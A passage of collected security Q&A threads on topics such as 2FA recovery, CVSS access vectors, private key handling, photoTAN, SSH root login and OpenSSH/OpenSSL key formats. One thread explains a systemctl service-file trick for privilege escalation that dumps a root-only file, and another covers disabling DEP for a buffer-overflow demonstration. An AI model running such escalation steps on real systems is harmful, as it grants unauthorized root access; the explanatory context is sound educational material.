2 factor authentication, fob management I love the idea of 2 factor authentication but how can I make sure I'm not caught in the wind without such keys?  I thought about switching to a fob for services that support it. Is there a fob that I can trust that provides a tiny display for keys? (like Google or Authy but without a phone)

I ask this because I stupidly reset my phone without triple checking there wasn't anything left to recover in order to fix software issues I had. I totally forgot I had set "Multi-device" to disabled in Authy and now I have to wait for them to reset my access. I want to try to make it hard for me to accidentally lose 2 factor auth access.

When you use Google Authenticator, you can scan the code into multiple devices (iOS or Android). That way, loss of a single device won't lock you out, because you can always fall back to the original. Personally I store them on a old Android phone I no longer use.

All services 'should' allow you to register more than one yubikey per account, specifically for this reason. You should always have a spare yubikey when you use them as your 2FA device, otherwise you're forced into a tedious account recovery process when you lose them.

You're right to be worried about losing access to your account the moment you lose your second factor. But you should have multiple devices that store your second factor physically to avoid such a scenario.

As a separate answer mentions, I forgot about the recovery codes. These are special 2FA codes that are not time dependent and can be used in case of loss of a device. These codes are generally to be printed out physically, or stored somewhere else -- do not lose them!


Can a network vulnerability be exploited locally? I've been looking for information about vulnerability classification and it's not completely clear to me.

Reading the CVSS documentation (2.1.1. Access Vector) I observe the following explanation about the N (Network) value for AV (Access Vector):

  "A vulnerability exploitable with network access means the vulnerable
  software is bound to the network stack and the attacker does not
  require local network access or local access. Such a vulnerability is
  often termed "remotely exploitable". An example of a network attack is
  an RPC buffer overflow."

In my opinion, this means that the vulnerability can be exploited remotely, but possibly also locally ("not required").

Am I right?

"Local access" means that you need to be on the machine.

"Local network access" means that you need to be on the same network segment. This level of network access allows for specific access to the traffic and exposes different vulnerabilities.

"Remote network access" means that it is exploitable even if you are not on the same network segment. But you also could be.

The classification means the minimum level of access, not the only means of access.


Why Disallow Special Characters In a Password? The culprit in this case is a particular (and particularly large) bank that does not allow special characters (of any sort) in their passwords: Just [a-Z 1-9].  Is their any valid reason for doing this?  It seems counter productive to stunt password strength like this, especially for a system protecting such valuable information.

The only thing I have been able to come up with is a weak attempt to thwart SQL injections, but that would assume the passwords are not being hashed (which I sure hope isn't true).

One explanation I haven't seen here is that many financial institutions are tightly integrated with older systems and are bound to the limitations of those systems.

The irony of this is that I have seen systems that were built to be compatible to older systems but now the older systems are gone and the policy still must exist for compatibility with the newer system that was built to be compatible with the older system.

(the lesson here is that if you have to be compatible with an old system, allow for some future elimination of those limitations).


How to keep using Java 6 securely, despite its unpatch vulnerabilities Given that Java 6 is now deprecated by Oracle and there recently has been notification of a 0day (that will exist forever now that Oracle is not patching JRE6), what can we do to prevent drive-by exploitation of Java within our browsers?

We cannot remove Java from the browser as my organization relies heavily on it for internal and some external applets. We also can not upgrade to Java 7 at the moment due to a number of legacy applications (though we are speeding up this process but I cannot see it happening in the next 6 months).

I have tried searching for ways to whitelist only our allowed applets but everything seems to be for Java 7. Short of disabling support for unsigned applets and ensuring we sign all applets is there anything we can do?

Hat tips given to those that includes methods to deploy the solution via GPO, multi-browser support (so maybe something at the Java level and not browser specific).

Just to clarify, we cannot upgrade to Java 7 and can not remove Java from the browser. I am looking for a solution to only allow the browser to run applets from *.mydomain.com and *.ourfriendsdomain.com for example.

Your organisation might want to subscribe to Java for Business:

  With the announcement of Java for Business customers and partners running Java applications on older release families (1.4, 5.0, 6) now have a choice of either migrating to a newer release or subscribing to Java for Business to continue receiving critical reliability, availability and security updates, as well as new operating environment support for their existing applications.

(http://www.oracle.com/technetwork/java/javase/training/index-jsp-138092.html)


Should application logs be available to admins or just superuser? I'm developing a kind of standard web-application, to be hosted internally on few customer's servers (not a public service, startup or anything like that). A kind of CMS, e-learning platform or something close to that. Because this is an internal project, customer had given me quite a large decision field and did not specified problem in question.

My developed web-application is planned to have few admins and only one superuser per each installation. In this case, should application logs be available to admin-level users or strictly prohibited to be viewed by superuser only?

I see that it can be very useful for the administrator in case if the instalation could not be completed correctly (Just an exampl) so the logs will help to diagnose the problem, so you can have several types of log file depending on the design of your application and an allocation options clearances as every needs .


Are there established and/or curated security benchmarks/best practices for home appliances and networks? I have seen several security standards and best practices for organizations (CIS, HIPPAA, PCI DSS) but are there any for homes? If yes, where can I find them?

It would be nice for homeowners to have a basic guide to securing their home network and devices. Especially considering the probability that adding (mostly unsafe) IoT devices to your network increases the attack vectors considerably.

While I'm not aware of any actual, certified standards, there is no shortage of recommendations from national organisations such as NIST, CESG, Anti-fraud agencies and the like.

StaySafeOnline is from the US National Cyber Security Alliance
US CERT has a home and business section
SANS have a document called Cybersecurity Inventory at Home
The UK's CESG have the excellent 10 Steps to Cyber Security, not really home specific but great advice anyway.
The UK police ActionFraud site has great advice.
The UK Government's CyberStreetwise site might also be useful
ISC2 the training and certification org have some useful tips.

There are many useful blog posts as well of course.

In addition, there are various courses such as FutureLearn's Cyber course (FL is part of the UK's Open University and their courses are free). They also ran an excellent Introduction to Cyber Security course that was created in conjunction with the UK's Cabinet Office - not sure if they will run that again.

UPDATE: I realise now that I only answered part of this question. As @blownie55 points out in his answer, some architecting of the network is in order to try and isolate more vulnerable IoT devices from other services. Any diagram on enterprise networking would give you an idea as to how this goes.

You need to separate out some networks and try to isolate traffic within them, restricting any traffic that might need to span the networks. For this, you need a decent router/firewall.

Typically in a home, you will only have a single router/firewall which sits at the edge of your LAN and provides the link to the WAN. Now we need to add additional router/firewall configurations inside that initial LAN creating sub-LANs with largely isolated traffic.

You can do this by buying more routers or by adding 2 network cards into a PC and running it as a router/firewall. But this is rather costly.

Alternatively, you could buy a decent router/firewall such as the Ubiquity EdgeRouter Lite which allows you to create isolated subnets in software. Unfortunately, as Ubiquity do it right, this requires a managed switch rather than a cheap unmanaged one. The EdgeRouter Lite only has 3 Ethernet ports so you can only create 2 LAN's. Ubiquity also make routers with more ports though. I only mention Ubiquity because I've used them and they come with pro-level features for a home router price, I'm sure there will be others that can do all this.

Once set up, the EdgeRouter OS allows firewall settings for each LAN route.

You can do this with Wi-Fi as well. Since Wi-Fi will never be as secure generally as a wired network, you can use a decent Wi-Fi access point that has it's own security or that you put onto its own VLAN to isolate the traffic and prevent access to any key resources you want kept extra safe.

UPDATE 2: Apologies that this is getting a little long.

If faffing with routers is too much. One much simpler way to help isolate IoT devices would be to put all of them on a subnet that is different to your main LAN subnet.

So let's say that your Internet router is 192.168.1.1, it is likely that it automatically creates a LAN on 192.168.1.0-255 (a netmask of 255.255.255.0). But you don't have to keep things that way. You could change the netmask to 255.255.0.0 which would allow addresses anywhere between 192.168.0.0-192.168.255.255 (if you know IP networking, I know that isn't quite true but I'm trying to keep it simple).

Now, most of the devices on your network will use DHCP for which the server is also the router. If you configure DHCP to deliver something like 192.168.1.100-192.168.1.200 with a netmask of 255.255.255.0, the normal devices will only be able to talk on 192.168.1.x

So configure all of your network connected IoT devices manually to use lets say 192.168.2.x also with a netmask of 255.255.255.0 and the traffic is reasonably well isolated. Both subnets can still talk to the router and a decent router would still be capable of controlling the traffic in the different networks (the firewall rules are more complex but then we are only using a single router).

This won't stop a dedicated hack but it will prevent the casual leakage that is the bane of IoT. And it doesn't require lots of hardware.

Note that I wrote that off the top of my head rather than in a test lab so if I've got something wrong I hope someone will (politely!) point it out and I'll correct it.


How to securely send private keys What is the recommend way and best-practice to send private keys and SSL private keys? I was thinking of zipping up the files, then using gpg:

gpg -c thefile.zip

The problem then becomes how do you send the passphrase used to encrypt to the other end? Is there a better solution?

TL;DR: private keys are called private for a reason.

You can secure private keys by not transmitting them at all.

If you have shell access to the server they are used at, you simply generate them in situ.
If the target device is too weak/underpowered to generate the keys, it is also too weak to use asymmetric encryption (this includes entropy sources). Of course, there are memory-constrained hardwired devices (smart cards, for instance), but you can use a physically secure link to move the keys into them without being connected to the Internet. A rather obscure corner case is asymmetric encryption used in a remote device (read: a space probe or a satellite) but the conditions are unlikely to be met in practice (one key compromised but another secure link still available).
If you don't have secure shell access (SSH) to the target device, you generally cannot securely copy (SCP) the files. Using email to move the keys, even in an encrypted form, draws unwarranted attention to the message and leaves the trail in perhaps dozens of places across the Internet.
Sending the keys means the people at the other end of the channel must trust you and you must trust them. It is not always a good proposition in business and other high-stakes environments (either party can forge communications with the private keys in hand).

EDIT: For the stated use case of private keys for a hosting provider, you are still better off generating them in place.


What's a way to safely test run untrusted JavaScript code? I sometimes want to run untrusted JavaScript, mainly for CTFs. It can be obfuscated JavaScript code or something like JSFuck. The point is, I know nothing about the code and just want to quickly see its output.
Of course, I don't want the JavaScript code to affect the other open pages/tabs. We can assume no exploit is available for the JavaScript interpreter/compiler/browser. Of course, I can do static analysis on the code, but that takes a lot of time and I may prefer to do dynamic analysis and just look at the output.
What's a good way to run arbitrary JavaScript code?

It depends on what risks are acceptable for you. For some people running browser with a separate profile is sufficient. Some would run it within a separate Docker container. The others would run it within a virtual machine like VMware, Virtual Box or QEMU.


Do people even exist who actually vet all the updates to their open source software? A year or so ago, I set up this system which, whenever Composer (that's PHP's packet/library update manager) fetched new updates to my few (but critically required) third-party libraries, created a copy of the Composer dir and opened up WinMerge to display the differences for me to manually go through.
Initially, I thought I was oh-so-clever for doing this, and eagerly looked at every new change to verify that they didn't add some evil malware code.
Then, as the updates kept coming in regularly, I paid less and less attention...
Until today, when I got so sick of this that I removed the entire mechanism and reverted back to just blindly letting it fetch whatever it wants and me not verifying anything about it manually.
It's bad enough to do this for my own code (mostly to make sure I didn't leave in something temporary in by mistake when working on a bunch of different files in my system), but doing this for others' massive code trees is just hellish.
They would frequently edit many different files -- it wasn't just one line in one file per update or anything. I just couldn't keep on doing it. It's unthinkable.
But now, I obviously feel bad for not doing it again. And it makes me wonder: does anyone really do this in the entire world? Considering how little effort people seem to put into almost everything, I cannot imagine that many people sit there and go through all the updates.
And let's be honest: even if I did continue doing this, I may not even catch the subtle introduced bug/hole, which may happen gradually through many small changes over time. And of course the rest of my computer is full of uncontrolled proprietary nightmare blobs which do unknown stuff around the clock...

Reviewing diffs between versions of open-source libraries and packages seems very excessive to me. The amount of time that it takes to do it, along with the necessary knowledge of the architecture and implementation details of the project make it seem very limited in utility. The general idea of vetting external software isn't. Various organizations that I've worked with have had different policies or expectations for how to handle third-party dependencies.
Some of the strategies that I've seen, used in various combinations, include:

Regular risk assessments. For commercial products, this would be a vendor assessment. For open-source products, evaluating the release cycle, testing, issue tracking, maintenance, and support for the product against needs. A component that doesn't meet needs can be scheduled for replacement based on risk.
Static analysis of open-source software components. Some vendors offer free scanning for open-source projects, so it could be a review of that report. It could also be using the organization's static analysis tools to scan the included open-source libraries.
Software composition analysis to track the versions of third-party dependencies and monitor for reported vulnerabilities.
System-wide scanning and testing. If the third-party dependency has a vulnerability that is exploitability, it may be detected when testing the entire system.


What does the following lines of code mean? Can anyone explain step by step? I'm still learning and this was a part of using systemctl for privilege escalation.

eop=$(mktemp).service

echo '[Service]

ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"

[Install]

WantedBy=multi-user.target' >$eop

/bin/systemctl link $eop

/bin/systemctl enable --now $eop

This writes a systemctl service file to a temporary file then calls systemctl to start said service.

The privilege escalation comes in if systemctl has SUID (meaning it always runs as the user who owns systemctl, usually root), or if sudoers is badly configured. If that is the case, the demo service will copy the contents of /root/root.txt into /tmp/output.

Details of the code:

# Create a temporary file and save the path in the variable eop
eop=$(mktemp).service

# This write one big string to the file path stored in eop.
# This is a barebones service file for systemctl.
# Note the single quotes after echo and before >
echo '[Service]

ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"

[Install]

WantedBy=multi-user.target' >$eop

# Tell systemctl about the new service described in the file pointed to by eop
/bin/systemctl link $eop

# Enable the service and start it right now.
/bin/systemctl enable --now $eop


Encryption on mobile phone - myth? Well, about six months ago I had pleasure to meet Harald Welte and when he talked about m-banking (banking via smartphones) he said that the most people thing it's safe while, in fact, mobile providers reject all data which is unreadable to them (encrypted).

However, from several others sources which I found reliable, including this site as well (e.g. this topic), I got impression this is not fully true.

So, question would be, is sending encrypted data over mobile infrastructure less secure then sending it over "standard" internet wire (considering cutting edge technologies in both sectors and the most commonly used practise)?

The claim that "mobile providers reject all encrypted data" is not accurate.  To my knowledge, mobile carriers don't block SSL connections or VPN connections.  Perhaps there was a miscommunication or misunderstanding of what exactly Harald meant.

On the other hand, here's one thing that is true.  Many cellular standards include some kind of link-layer encryption for the voice or data as it is transmitted over the wireless link between the phone and the base station.  However, major flaws have been found in these encryption standards.  Also, many mobile carriers will allow governments to tap into this data at the central office, after they have decrypted it.  There have also been carriers who have turned off the link-layer encryption, and governments who have required carriers/equipment vendors to turn off the link-layer encryption locally (or when exporting cellular equipment).

But, if you have a smartphone, you can still use your own end-to-end encryption to protect your own connections -- mobile carriers don't block this.  And if you use your own end-to-end encryption, or if you use apps that implement their own end-to-end encryption, those link-layers weaknesses and backdoors don't damage your security, because you've eliminated the dependence on the mobile carrier's link-layer crypto.

It is true that sending data over a mobile phone is likely to be less secure than a wired connection.  This is because most phone apps don't use end-to-end encryption, and most data is sent without any end-to-end encryption.  (For instance, most websites use unencrypted HTTP connections, rather than end-to-end HTTPS encryption.)  Therefore, most data sent from your phone is only as secure as the cellular link-layer encryption -- and that isn't terribly secure.


What is the best approach for securing log-in credentials on an HTML form? I realize how basic this question is, but I have relied for years on mechanisms built into .NET to handle log in for me.  These days, most of my work involves using client-side logic and calling API services and I am now considering authenticating users that way.

Should I be using oAuth, or is there something more simple? I am using salting and key stretching on the server-side, but I don't know how to protect passwords and other credentials while they are en route to the server from the client.

To protect credentials in-transit, you use HTTPS. That is sufficient. As long as your form is delivered over HTTPS and submitted over HTTPS, everything sent and received is thoroughly protected.

As for what to use as a backend, that's up to you. Using oAuth effectively kicks the can down the road to someone else. Now you're not responsible for storing credentials, Facebook is. If instead you need to store credentials yourself, the common key-stretching answer applies.


How do you use initialization vector? My application needs to store some sensitive information. I want to encrypt the data before I store it. At some point in the future, I want to be able to read and decrypt all the data.

For a practical web application, I can pass in a secret key from the ENV, and use it to encrypt and decrypt the data.

What am I supposed to do with the IV though? My reading says you're supposed to generate a new one for each message, but then how would I ever decrypt the data?

Standard behavior is just to store and/or transmit the IV along with the ciphertext, often prepended or appended to the data. When decrypting, you read the first (or last) N bytes - where N is the size of your IV - and then decrypt just the rest of the data.

There exist crypto libraries to do this directly, so that you don't even have to worry about the IV; the library generates a suitable one automatically for every new plaintext, attaches it to the returned ciphertext, and accepts the combined IV + ciphertext bundle as input to its decrypt function. If you're at the point of asking a question like this, it would be a good idea for you to try to use a really user-friendly library, such as LibHydrogen, which has a very simple but secure API for symmetric encryption. Note that it covers not only encrypting and decrypting with a random IV (called a "nonce" in the documentation), it also performs authenticated encryption such that an attacker cannot tamper with the ciphertext and leave it in a decryptable state.


Managing vulnerabilities in continuous delivery When building my own Docker container, if I use a base image such as Debian 10.6 (stable) there are times when high vulnerabilities are found in the OS packages, that have not been fixed in this stable release, yet.
At the point of getting ready to release the container, if high vulnerabilities are found, but there is no way to resolve it (as the packages are up to date in apt), should a release be stopped until the fix is available?
This is an issue when trying to move towards continuous delivery, as the failing tests would identify a high issue, and fail the pipeline, but there would be no way to resolve the issue (other than waiting).

The answer to this question, as with so many in security is, it depends on your threat model.
What I'd say is that some container vulnerability scanning tools are slightly unusual in that they flag "unfixable" issues for which there is no patched version in the distributions repositories, by default. For example Synk, Trivy, Anchore and Clair, all default to this approach.
Standard Vulnerability assessment tools used for Virtual machine or physical server VA such as Nessus, do not flag CVEs if there is no patch available, by default.
So you have a couple of choices here :-

If your container VA tool has the option, tell it to ignore unpatchable issues (For example, Trivy has the --ignore-unfixed option.  For most setups, this is probably the correct choice

Assess each unpatchable issue and decide whether it's relevant to your environment, then add it to a list of "thigns you're not worried about" if it's not.

Compile packages manually to address the CVEs.

One other point to make is that there's a couple of ways of reducing the incidence of these issues

work to minimize the number of packages used by your container images. Things like multi-stage builds are good for this

If possible, consider using things like using static binaries in scratch images, which will largely remove this issue (although it does come with it's own challenges)


How does the photoTAN (Cronto visual transaction signing) procedure work? Lately, most banks (at least in Germany) are promoting the photoTAN procedure as the most modern and secure way of authorizing transactions in online banking, see for example here. However, searching online I have not been able to find any explanation of how it actually works: I can only find very detailed explanations on how to use it.

When a user wants to make a transaction, the online banking interface generates a photoTAN image which contains an encrypted message with the transaction details, and shows it on the computer screen. The user scans the image with the bank's app on his smartphone, which "generates" a transaction authorization number (TAN) when reading the image. Then the user enters the TAN on the computer to authorize the transaction.

The simplest idea that comes to mind is having the TAN be part of the message that is encrypted in the image. Is this really how it works? What kind of cryptography scheme is used in these two processes (generation of image and generation of TAN from image)?

There is more information available by now.
See the Onespan (Vasco aquired Cronto and renamed itself) Community for the Integration Guide. It explains how to use their software to both GenerateCrontoSign/GenerateDynamicCrontoImage to generate Challenge graphics and QRCodeScannerSDKActivity/QRCodeScannerSDKViewController to scan and decode Graphics on Android/iOS.
https://community.onespan.com/documentation/mobile-security-suite/guides/integration-guides
Cronto is encoding Challenges and Tokens in a Colored Dot Matrix. Please see the Colored QR Codes whitepapers listed on the Wikipedia article for details on the information storage/extraction from the graphics or returned when searching for "decode color qr code"
Decoding Algorithm for color QR code: A Mobile Scanner Application
Nivedan Bhardwaj, et al.
https://www.researchgate.net/publication/309041301_Decoding_algorithm_for_color_QR_code_A_mobile_scanner_application
Robust and Fast Decoding of High-Capacity Color QR Codes for Mobile Applications
Zhibo Yang, et al.
https://arxiv.org/pdf/1704.06447.pdf
This in a way is the communication between the Bank and your OTP Token Generator. The secret is exchanged using two activation graphics, ie. the first sent via letter from your bank to you and a second (probably containing the secret) scanned during the activation process step2.
Using this secret the Cronto device will generate a OTP password after showing you the information given in the image. As I have not analysed the implementation of the QRCodeScanner I have my doubts whether it also includes the information into generating the photoTAN.
I have been able to use the secret for other OTP challenge/response in multiple OTP generators, ie. the Smartphone App of comdirect claims to support upto eight different bank accounts and therefor secrets. Hence it is possible the eavesdrop on the secret in the instance when it is visually handed over to the Cronto device (most likely step 2 of the activation process).
I just checked the Cronto I got some hours ago and it always generates the same TAN number, hence it is clearly not using any timing code.
Looking into the Image Scanner SDK available from the OneSpan / Cronto Website there are two main components to the Android AAR (QRCodeScannerSDK.aar):

an API contained in classes.jar, this is a mostly obfuscated Wrapper that deals with some Image preprocessing
a precompiled Linux ELF image libQRCronto.so, which contains the zxing matrix code library plus some cryptographic routines.

Image Scanner SDK
https://community.onespan.com/products/mobile-security-suite/sdks
I have not bothered decompiling it, but it should be possible to find the crypto scheme out in case someone wants to:
$ strings libQRCronto.so | less
_ZN5zxing11ResultPointC1Eii
...
_ZN16DataStoreAccount6getKeyERPKhRiRK10ByteBuffer
_ZN16DataStoreAccount9getKeyHexERK10ByteBufferPcRi
_ZN16DataStoreAccount9setKeyHexER10ByteBufferPKc
_ZN16DataStoreAccount9setKeyHexER10ByteBufferPKci
...
_ZN13KeyDerivation11deriveBytesEPKhiS1_iS1_iPhi
_ZN13KeyDerivation7iencodeEiiPh
_ZN13KeyDerivation9deriveIntEPKhiS1_iS1_iiRi
The following lab article has some details on creating a secure channel using the Mobile App instead of the standalone device I have.
Secure Offline Transaction Signing using MAS
https://vie-labs.com/secure-offline-transaction-signing-using-mas/
The device I have has been modified from the Stock OneSpan Cronto by my bank. It is sporting a Bank logo on the power up screen and will refuse activation codes from other banks.
Entris Banking - Login with CrontoSign Swiss
https://www.netbanking.ch/index.php?id=489&L=3&id=489


How many actions do you need to take to disable DEP I am attempting to disable DEP on a program that will be used in a demonstration of how a basic buffer overflow works.

The application is a C++ app written in visual studio and I am running into sections of the program (particularly where the payload is) that are non executable. To my knowledge this should only happen if DEP is enabled.

The error code when I land in my payload is: C0000005, EXCEPTION_ACCESS_VIOLATION

I have disabled DEP in the linker options of the project properties and run bcdedit.exe /set {current} nx AlwaysOff from the command prompt.

Is there something else that needs to be disabled to make all sections of an x64 application memory executable?

In recent versions of Windows 10, there's an "Exploit Protection" feature that allows controlling DEP on both a per-app and system-wide basis (the former overriding the latter). Use the Start search to find it.

Make sure the access violation you're getting is actually due to DEP, and not due to trying to read (or write) memory that is not mapped to the process (or is mapped unwritable, or is a guard page, etc.) If you're using windbg, the !analyze command (after you hit the AV) will give you the details.

It is never going to be the case that all addresses of a 64-bit program are executable. Even leaving aside the high addresses that are mapped to the kernel and the first page being never usable to limit the damage of null pointer dereferences, there simply isn't anywhere near enough memory - physical or backed by the pagefile - to cover so many addresses. However, it should be possible to make all mapped pages executable.

If you can't figure out any other way, you can have your vulnerable program call VirtualProtect to make the relevant address range executable before the exploit occurs. This isn't realistic for most apps (the notable exception being anything that JIT compiles its own code, if you can put your payload in there) but then, neither is a modern system or even process without DEP.


Are OpenSSH vs OpenSSL public key format names mismatched? I generated a key pair vis OpenSSH and later wanted to generate PEM encoded public key.
I noticed that generated public key differs when generated by OpenSSH vs OpenSSL when using same format name (PEM)...
After some testing (see below), I found that public keys are the same only when generated a) as PKCS8 in OpenSSH and b) as PEM in OpenSSL

Why is PEM output of OpenSSH different than PEM format of
OpenSSL?
If this is just a parameter naming mismatch, am I
correct in my assumption that to get the same public key, I have to
use PCKS8 in OpenSSH and PEM in OpenSSL?

Here is my test:

# -----------------------------------------------------------------------------
# Using OpenSSH
# -----------------------------------------------------------------------------

# generate test key pair
[root@localhost key-test]# ssh-keygen -t rsa -b 2048 -f test.ssh

#
# get MD5 fingerprint of generated public key
#
[root@localhost key-test]# cat test.ssh.pub | openssl md5 -c
(stdin)= 3e:b6:6f:95:d2:1d:ca:7a:f3:88:2e:3a:ca:c3:b7:a3

#
# get MD5 fingerprint of generated public keys (RFC4716, PEM, and PKCS8 formats)
#

# header => ---- BEGIN SSH2 PUBLIC KEY ----
[root@localhost key-test]# ssh-keygen -y -e -m RFC4716 -f test | openssl md5 -c
(stdin)= 0d:da:5b:27:e9:cd:32:25:e5:c8:4e:2b:c2:0f:47:aa

# header => -----BEGIN RSA PUBLIC KEY-----
[root@localhost key-test]# ssh-keygen -y -e -m PEM -f test | openssl md5 -c
(stdin)= c5:38:c0:41:f8:76:41:7b:49:03:42:c6:21:dd:1c:2f

# header => -----BEGIN PUBLIC KEY-----
[root@localhost key-test]# ssh-keygen -y -e -m PKCS8 -f test | openssl md5 -c
(stdin)= 84:e8:54:5f:16:9f:92:48:67:99:54:65:13:ad:64:ad

# -----------------------------------------------------------------------------
# Using OpenSSL
# -----------------------------------------------------------------------------

#
# get MD5 fingerprint of the generated public key (PEM format)
#
# header => -----BEGIN PUBLIC KEY-----
[root@localhost key-test]# openssl rsa -in test -pubout -outform PEM | openssl md5 -c
(stdin)= 84:e8:54:5f:16:9f:92:48:67:99:54:65:13:ad:64:ad

A little step:

$ ssh-keygen -y -e -m PKCS8 -f /home/wolf/.ssh/id_rsa | openssl asn1parse
    0:d=0  hl=4 l= 290 cons: SEQUENCE
    4:d=1  hl=2 l=  13 cons: SEQUENCE
    6:d=2  hl=2 l=   9 prim: OBJECT            :rsaEncryption
   17:d=2  hl=2 l=   0 prim: NULL
   19:d=1  hl=4 l= 271 prim: BIT STRING

$ openssl rsa -in /home/wolf/.ssh/id_rsa -pubout -outform PEM | openssl asn1parse
writing RSA key
    0:d=0  hl=4 l= 290 cons: SEQUENCE
    4:d=1  hl=2 l=  13 cons: SEQUENCE
    6:d=2  hl=2 l=   9 prim: OBJECT            :rsaEncryption
   17:d=2  hl=2 l=   0 prim: NULL
   19:d=1  hl=4 l= 271 prim: BIT STRING

$ ssh-keygen -y -e -m PEM -f /home/wolf/.ssh/id_rsa | openssl asn1parse
    0:d=0  hl=4 l= 266 cons: SEQUENCE
    4:d=1  hl=4 l= 257 prim: INTEGER           :DEE24467850E0F877429474448807D2000B30E889BE6CA3BA8561B69D925F1C0AFA9A536A7EE95D077D5E5D6D3BA90C4C5E3B547B6872AD3F795816A54A7170EEB3454351424FD751EFA9A07F277C9F4987FCC94F9C06658D95567DD2A9E99AAF130BD86481AD34DA84DB1E91F1954043137E53816BA9AF49962E0BAC4B51FECBA45F4C20FC66F6AAAB910C576FD9AED5AE03BD77A2B9D51662DCF1725FEAD7263F29F170E8953FA3CE9C3E4B7A062F840C3273104946C266DC06AFAB2EF03DD8ABFCA0EF0B25AD9D07CFC9DADB35284FF6C0C9B73AD8E744B575AA833737DA8B1415615811E5FE95E6FA144B91A05B240DF20A29D12FD29AA9FF0A2E90F4973
  265:d=1  hl=2 l=   3 prim: INTEGER           :010001

$ openssl rsa -in /home/wolf/.ssh/id_rsa -RSAPublicKey_out -outform PEM | openssl asn1parse
writing RSA key
    0:d=0  hl=4 l= 266 cons: SEQUENCE
    4:d=1  hl=4 l= 257 prim: INTEGER           :DEE24467850E0F877429474448807D2000B30E889BE6CA3BA8561B69D925F1C0AFA9A536A7EE95D077D5E5D6D3BA90C4C5E3B547B6872AD3F795816A54A7170EEB3454351424FD751EFA9A07F277C9F4987FCC94F9C06658D95567DD2A9E99AAF130BD86481AD34DA84DB1E91F1954043137E53816BA9AF49962E0BAC4B51FECBA45F4C20FC66F6AAAB910C576FD9AED5AE03BD77A2B9D51662DCF1725FEAD7263F29F170E8953FA3CE9C3E4B7A062F840C3273104946C266DC06AFAB2EF03DD8ABFCA0EF0B25AD9D07CFC9DADB35284FF6C0C9B73AD8E744B575AA833737DA8B1415615811E5FE95E6FA144B91A05B240DF20A29D12FD29AA9FF0A2E90F4973
  265:d=1  hl=2 l=   3 prim: INTEGER           :010001

$ ssh-keygen -y -e -m PKCS8 -f /home/wolf/.ssh/id_rsa | tail -n +2 | head -n -1 | base64 -d | openssl asn1parse -inform DER -i -strparse 19
    0:d=0  hl=4 l= 266 cons:  SEQUENCE
    4:d=1  hl=4 l= 257 prim:  INTEGER           :DEE24467850E0F877429474448807D2000B30E889BE6CA3BA8561B69D925F1C0AFA9A536A7EE95D077D5E5D6D3BA90C4C5E3B547B6872AD3F795816A54A7170EEB3454351424FD751EFA9A07F277C9F4987FCC94F9C06658D95567DD2A9E99AAF130BD86481AD34DA84DB1E91F1954043137E53816BA9AF49962E0BAC4B51FECBA45F4C20FC66F6AAAB910C576FD9AED5AE03BD77A2B9D51662DCF1725FEAD7263F29F170E8953FA3CE9C3E4B7A062F840C3273104946C266DC06AFAB2EF03DD8ABFCA0EF0B25AD9D07CFC9DADB35284FF6C0C9B73AD8E744B575AA833737DA8B1415615811E5FE95E6FA144B91A05B240DF20A29D12FD29AA9FF0A2E90F4973
  265:d=1  hl=2 l=   3 prim:  INTEGER           :010001

The openssl man page calls one the PEM format and the other the RSAPublicKey format.

What ssh-keygen calls PKCS8 and openssl rsa calls PEM is a wrapper around what ssh-keygen calls PEM, that adds an ASN.1 OID for "rsaEncryption". The last example parses the DER bitstring that starts at offset 19 to convince ourselves that it's the same exact data.

The format is described in PKCS#1.

PKCS#8 is here, and talks about storing private keys, not public keys.

I can't help answering what is the more correct name for each of the two formats, though I would call them by the ASCII string in the header.

I like the format that encodes the fact that it's an RSA public key inside of it, and so does not require externally encoding it (like the "ssh-rsa" prefix used in ~/.ssh/authorized_keys), though it is a little bigger. Using a self describing format, a program can learn to read ECDSA and EdDSA keys without inventing a new way to specify that the data is a public key but not an RSA public key.


What are the compliance requirements or standards for a non-US firm hosting personal data in the US? I work for a head hunting company with offices in Canada and Asia. We migrated our custom built CRM system from our own servers hosted in Japan to an Amazon hosting service meaning that all our data is now held on Amazon servers in the US.

Data includes names, dates of birth, contact details, current and previous places of work, current and previous salary, full resumes, notes on information learned from candidates that could be anything from domestic issues preventing them from changing job to confidential insights into their current employer. Basically everything you would need to perform identity theft, limited corporate espionage or in some cases blackmail. Although I do not have the exact number, it is between a quarter and half a million records in varying states of completion.

If relevant, all connections from users are via IP filtered HTTPS. The developers connect by the standard Amazon SSH policy. SNMP and NRPE are also accessible but again IP filtered. The database is not encrypted and the server instance is replicated (files and database) in plain text to another server instance on the same local Amazon subnet.

When in Japan, all the data fell under Japanese law which we were able to cover. However, without a corporate entity in the US, I have no idea what if any laws, standards or audits we are meant to be following with regards to data security. Would it be US laws/standards as the CRM and data are now in the US? Canadian laws/standards as that is the nearest entity and that office actually maintains the CRM system? Japanese law/standards as the Japan office is the biggest and has generated the majority of the data? Some international laws/standards I am unaware of?

If possible, can you please provide links to the relevant information/standards/professional bodies in your answers? I am more than happy to do the footwork if you can point me in the right direction.

I'd think that you don't have to cover US privacy law if you don't have US customers or operate in the US.

However, you will probably have to conform to the privacy laws of the country or countries you are residing and/or operating in.

You'll basically have to figure out if your Japanese law allow your data to be stored outside your borders, and by a vendor who can potentially be forced by US law enforcement agencies to surrender your data.

Most often there is no easy answer to this, so if it's important I'd suggest that you find a local lawyer and talk it over with him.


SSH works for root but not for other users? I'm new to Lin/VPS and recently rented a VPS with Ubuntu 16. I log in to it using SSH with Putty, from Win10.

I can log in with SSH successfully only when I'm root && my key is loaded (Pageant).

BUT:

If I'm not root and/or no key is loaded, I can still login with just any username and password (and that includes root!).

You guys surly understand the security breach here as well as the lunacy of this situation. I can't explain it, as when logging as root when my private key is loaded --- I can SSH login just fine, without filling a password.

Can you please explain how this is possible?

Can you please explain how this is possible?

There are two valid configurations that will permit root to login using a password:

PermitRootLogin yes
PermitRootLogin without-password and ChallengeResponseAuthentication yes AND certain PAM configurations

I seem to remember the Ubuntu default is PermitRootLogin no but I believe that Linode, being a service that provides remote servers which only have a root account initially, have tweaked the default in their build to that their users can log right in without using lish or other remote console options (which can be a little kludgy to use).  I actually run a Ubuntu 16 Linode, but my sshd_config was modified right after installation, and that's one setting I always tweak, so I can't tell you how it shipped :)

To quote the sshd_config man page:

PermitRootLogin
    Specifies whether root can log in using ssh(1).  The argument
    must be ``yes'', ``prohibit-password'', ``without-password'',
    ``forced-commands-only'', or ``no''.  The default is ``no''.
    Note that if ChallengeResponseAuthentication is ``yes'', the root
    user may be allowed in with its password even if PermitRootLogin
    is set to ``without-password''.

    If this option is set to ``prohibit-password'' or
